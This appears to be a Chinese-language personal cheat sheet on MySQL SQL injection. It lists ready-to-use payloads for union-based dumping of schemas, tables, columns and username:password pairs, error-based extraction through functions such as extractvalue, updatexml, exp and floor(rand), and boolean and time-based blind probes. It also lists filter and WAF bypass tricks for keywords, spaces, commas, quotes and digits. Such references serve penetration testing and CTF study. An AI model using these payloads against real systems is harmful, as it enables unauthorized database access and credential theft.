小谈SQL注入

SQL 注入这方面一直挺菜的,整理一下吧

MySQL

Union Based

判断 column 数及回显数据字段位置

  • order/group by N
  • union select 1,2,3...N

注意:

  • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面限制了单行数据输出,我们让前边的 select 查询条件返回结果为空即可
  • 注意一定要拼接够足够的字段数,否则 SQL 语句报错。PS:此方法也可作为判断前条 select 语句的方法之一

爆库、表、字段

  • MySQL version < 5.0

    • 由于 MySQL 的低版本缺乏系统库information_schema,故通常情况下,我们无法直接查询表名,字段(列)名等信息

      这时候只能靠猜来解决,直接猜表名与列名是什么,甚至是库名,再使用联合查询取数据

      若知道仅表名而不知道列(字段)名,可以尝试:

      • 单字段:select *,1,2,xxx from table_name

      • 多字段:select x from(select 1,2,3,4,xxx from table_name union select * from table_name)a

  • MySQL version >= 5.0

    • 爆 schema

      • union select 1,2,schema_name from information_schema.schemata limit 1,1
    • 爆 table

      • union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

      • union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

    • 爆 column

      • union select 1,2,group_concat(column_name) from information_schema.columns where table_name='Du1'
      • union select 1,2,column_name from information_schema.columns where table_schema=database() limit 0,1
      • select heart from Du1
      • SELECT CONCAT(username, ":" ,password) FROM Du1.USER

Error Based

通过特殊函数的报错使其参数被页面输出


前提:

  • 服务器开启报错信息返回,也就是发生错误时返回报错信息

注意:

  • 报错函数通常有最长报错输出的限制,面对这种情况,可以进行分割输出
    • #define ERRMSGSIZE (512)
  • 特殊函数的特殊参数进运行一个字段、一行数据的返回,使用 group_concat 等函数聚合数据即可

利用 overflow

注:MySQL version > 5.5.5 的时候 overflow 才会有错误讯息,MySQL version > 5.5.53 的时候不会显示查询结果

exp

适用版本:5.5.49~5.5.5

该函数会返回 e 的 x 次方结果

因为 MySQL 能记录的 double 数值范围有限,一旦结果超过范围,则该函数报错

1
2
SELECT exp(709) => 8.218407461554972e307
SELECT exp(710) => ERROR

故可作 payload:

1
2
SELECT exp(~(SELECT * FROM (SELECT user())x));
ERROR 1690(22003): DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'

按理来说 pow 应该也可以,原理相同


bigint 数值操作

利用了当 MySQL 数据库的某些边界数值进行数值运算时,会报错的原理

1
2
3
4
5
6
7
SELECT ~0 => 18446744073709551615
SELECT ~0 + 1 => ERROR
SELECT cot(0) => ERROR

select !(select * from(select user())a)-~0;
select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

利用 xpath

extractvalue (长度限制32位)

原理:前后添加 ~ 使其不符合 xpath 格式从而报错

适用版本 5.1.5+

1
2
select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
updatexml (长度限制32位)

适用版本 5.1.5+

1
2
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'

利用虚拟表报错 / 主键重复

原理:简单来说,是由于 where 条件每执行一次,rand 函数就会执行一次,如果在由于在统计数据时判断依据不能动态改变,故 rand() 不能后接在order/group by


举栗子:

假设 USER 表有三条数据,我们通过:select * from USER group by username 来通过其中的 username 字段进行分组

此过程会先建立一个虚拟表,存在两个字段:key,count

其中我们通过 username 来判断,其在此处是字段,首先先取第一行的数据:username=Du1&password=0312

username 为 Du1 出现一次,则现在虚表内查询是否存在 Du1,若存在,则 count + 1,若不存在,则添加 Du1,其 count 为 1

对于floor(rand(0)*2),其中rand()函数,会生成 0 ~ 1 之间随机一个小数、floor()取整数部分、0 是随机因子、乘 2 是为了让大于 0.5 的小数通过 floor 函数得 1

若表中有三行数据:我们通过select * from USER group by floor(rand(0)*2)进行排序的话

注意:

由于rand(0)的随机因子是被固定的,故其产生的随机数也被固定了,顺序为:011011……

首先group by需要执行的话,需要确定分组因子,故floor(rand(0)*2)被执行一次,得到的结果为 0,接着在虚表内检索 0,发现虚表没有键值为 0 的记录,故添加上,在进行添加时:floor(rand(0)*2)第二次被执行,得到结果 1,于是虚拟表插入的内容为key=1&count=1

第二次执行group by时:floor(rand(0)*2)先被运行一次,也就是第三次运行。得到结果 1,查询虚表发现数据存在,因而直接让虚表内的key=1的 count 加一即可,floor(..)只运行了一次

第三次执行group by时,floor(rand(0)*2)被执行第四次,得到结果 0,查询虚表不存在。再插入虚表时,floor(…)被执行第五次,得到结果 1,故此时虚表将插入的值为key=1&count=1,注意,此时虚表已有一条记录为:key=1&count=2,并且字段 key 为主键,具有不可重复性,故虚表在尝试插入时将产生错误


故可作 payload:union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a

select count(*) from test group by concat(version(),floor(rand(0)*2));

利用几何函数

  • GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
  • polygon:id=1 AND polygon((select * from(select * from(select user())a)b))
  • multipoint:id=1 AND multipoint((select * from(select * from(select user())a)b))
  • multilinestring:id=1 AND multilinestring((select * from(select * from(select user())a)b))
  • linestring:id=1 AND LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon:id=1 AND multipolygon((select * from(select * from(select user())a)b))

利用不存在的函数

随便用一个不存在的函数,可能会摸奖得到当前所在的数据库名称

利用 name_const

仅可取数据库版本信息

payload:select * from(select name_const(version(),0x1),name_const(version(),0x1))a

uuid 相关函数

适用版本:8.0.x

because of 参数格式不正确

1
2
SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

这个👴还没测

GTID 相关函数

同样也是参数格式不正确。

1
2
3
select gtid_subset(user(),1);
select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
select gtid_subtract((select * from(select user())a),1);

join using 注列名

通过系统关键词 join 可建立两个表之间的内连接,通过对想要查询列名的表与其自身建立内连接,会由于冗余的原因(相同列名存在)而发生错误,并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

1
2
3
select * from(select * from users a join (select * from users)b)c;
select * from(select * from users a join (select * from users)b using(username))c;
select * from(select * from users a join (select * from users)b using(username,password))c

👴不咋懂,希望哪位SQL👴可以带带👴

ST 相关函数

MySQL 5.7

  • select ST_LatFromGeoHash(version());
  • select ST_LongFromGeoHash(version());
  • select ST_PointFromGeoHash(version(),1);


报错函数速查表

注:默认MYSQL_ERRMSG_SIZE=512

类别 函数 版本需求 5.5.x 5.6.x 5.7.x 8.x 函数显错长度 Mysql报错内容长度 额外限制
主键重复 floor round ✔️ ✔️ ✔️ 64 data_type ≠ varchar
列名重复 name_const ✔️ ✔️ ✔️ ✔️ only version()
join [5.5.49, ?) ✔️ ✔️ ✔️ ✔️ only columns
数据溢出 - Double 1e308 cot exp pow [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
数据溢出 - BIGINT [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
几何对象 geometrycollection linestring multipoint multipolygon multilinestring polygon [?, 5.5.48] ✔️ 244
空间函数 Geohash ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash [5.7, ?) ✔️ ✔️ 128
GTID gtid_subset gtid_subtract [5.6.5, ?) ✔️ ✔️ ✔️ 200
JSON json_* [5.7.8, 5.7.11] ✔️ 200
UUID uuid_to_bin bin_to_uuid [8.0, ?) ✔️ 128
XPath extractvalue updatexml [5.1.5, ?) ✔️ ✔️ ✔️ ✔️ 32

摘自——Mysql 注入基础小结


Blind Based

Boolean(1 or 0)

  • id=87 and length(user())>0
  • id=87 and length(user())>100
  • id=87 and ascii(mid(user(),1,1))>100
  • id=87 or ((select user()) regexp binary '^[a-z]')

Time(无回显)

  • id=87 and if(length(user())>0, sleep(10), 1)=1
  • id=87 and if(length(user())>100, sleep(10), 1)=1
  • id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1

Common Bypass

and / or

  1. 双写 anandd、oorr
  2. 使用运算符代替 &&、||
  3. 直接拼接 = 号,such as ?id=1=(condition)
  4. 其他方法,such as ?id=1^(condition)
  5. 大小写
  6. urlencode

空格

  1. 多层空格嵌套
  2. 改用 +
  3. 使用注释 /**/
  4. and / or 后面可以跟上偶数个 !、~ 可以替代空格,也可以混合使用(规律又不同)
  5. %09, %0a, %0b, %0c, %0d, %a0 等部分不可见字符可也代替空格

such as select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)

括号

  • order by 大小比较盲注

不懂QAQ,求教

逗号

  1. 改用盲注
  2. UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
  3. mid(user(), 1, 1) => mid(user() from 1 for 1)
  4. LIMIT N, M => LIMIT M OFFSET N

其他系统关键字

  1. 双写绕过关键字过滤
  2. 使用同义函数 / 语句代替,如 if 函数可用case when condition then 1 else 0 end语句代替
  3. 大小写
  4. urlencode

单双引号被过滤 / 拦截 / 转义

  1. 需要跳出单引号的情况:尝试是否存在编码问题而产生的SQL注入
  2. 不需要跳出单引号的情况:字符串可用十六进制表示,也可通过进制转换函数表示成其他进制,汝 base_con
1
2
3
4
5
6
7
8
9
10
11
12
十进制转换成二进制
select bin(5);
十进制转换成八进制
select oct(5);
十进制转换成十六进制
select hex(5);
二进制转换成十进制
select conv('101',2,10);
十进制转换成十六进制
select conv('20',10,16);
还原十六进制
unhex(conv(DEC_DATA,10,16))

数字

代替字符 代替字符 代替字符
false、!pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true、!(!pi()) 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi())、~~pi() 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) //注意版本 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

其它

注释

1
2
3
4
5
6
7
8
9
10
11
#
--
/*(MySQL-5.1)
/**/(一个 */ 可以闭合前面多个/*)
;%00(PDO支援多語句)
`(MySQL <= 5.5)
'or 1=1;%00
'or 1=1 union select 1,2`'
'or 1=1 #
'/*!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138
'/*!or*/ 1=1 -- -

常用

运算符
运算符 说明 运算符 说明
&& 与,同and || 或,同or
! 非,同not ~ 一元比特反转
^ 异或,同xor + 加,可替代空格,如 select+user()
系统信息函数
函数 说明
USER() 获取当前操作句柄的用户名,同 SESSION_USER()、CURRENT_USER(),有时也用 SYSTEM_USER()
DATABASE() 获取当前选择的数据库名,同 SCHEMA()
VERSION() 获取当前版本信息
进制转换
函数 说明
ORD(str) 返回字符串第一个字符的ASCII值
OCT(N) 以字符串形式返回 N 的八进制数,N 是一个BIGINT 型数值,作用相当于CONV(N,10,8)
HEX(N_S) 参数为字符串时,返回 N_or_S 的16进制字符串形式,为数字时,返回其16进制数形式
UNHEX(str) HEX(str) 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符
BIN(N) 返回十进制数值 N 的二进制数值的字符串表现形式
ASCII(str) ORD(string)
CONV(N,from_base,to_base) 将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回
CHAR(N,… [USING charset_name]) 将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串
字符截取/拼接
函数 说明
SUBSTR(str,N_start,N_length) 对指定字符串进行截取,为SUBSTRING的简单版
SUBSTRING() 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
RIGHT(str,len) 对指定字符串从最右边截取指定长度
LEFT(str,len) 对指定字符串从最左边截取指定长度
RPAD(str,len,padstr) str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度
LPAD(str,len,padstr) 与RPAD相似,在str左边补齐
MID(str,pos,len) 同于 SUBSTRING(str,pos,len)
INSERT(str,pos,len,newstr) 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数
CONCAT(str1,str2…) 函数用于将多个字符串合并为一个字符串
GROUP_CONCAT(…) 返回一个字符串结果,该结果由分组中的值连接组合而成
MAKE_SET(bits,str1,str2,…) 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))
常见全局变量
变量 说明 变量 说明
@@VERSION 返回版本信息 @@HOSTNAME 返回安装的计算机名称
@@GLOBAL.VERSION @@VERSION @@BASEDIR 返回MYSQL绝对路径

可以用 SHOW GLOBAL VARIABLES; 查看全部全局变量

其他常用函数 / 语句
函数/语句 说明
LENGTH(str) 返回字符串的长度
PI() 返回π的具体数值
REGEXP “statement” 正则匹配数据,返回值为布尔值
LIKE “statement” 匹配数据,%代表任意内容。返回值为布尔值
RLIKE “statement” 与regexp相同
LOCATE(substr,str,[pos]) 返回子字符串第一次出现的位置
POSITION(substr IN str) 等同于 LOCATE()
LOWER(str) 将字符串的大写字母全部转成小写。同:LCASE(str)
UPPER(str) 将字符串的小写字母全部转成大写。同:UCASE(str)
ELT(N,str1,str2,str3,…) MAKE_SET(bit,str1,str2...)类似,根据N返回参数值
NULLIF(expr1,expr2) 若expr1与expr2相同,则返回expr1,否则返回NULL
CHARSET(str) 返回字符串使用的字符集
DECODE(crypt_str,pass_str) 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)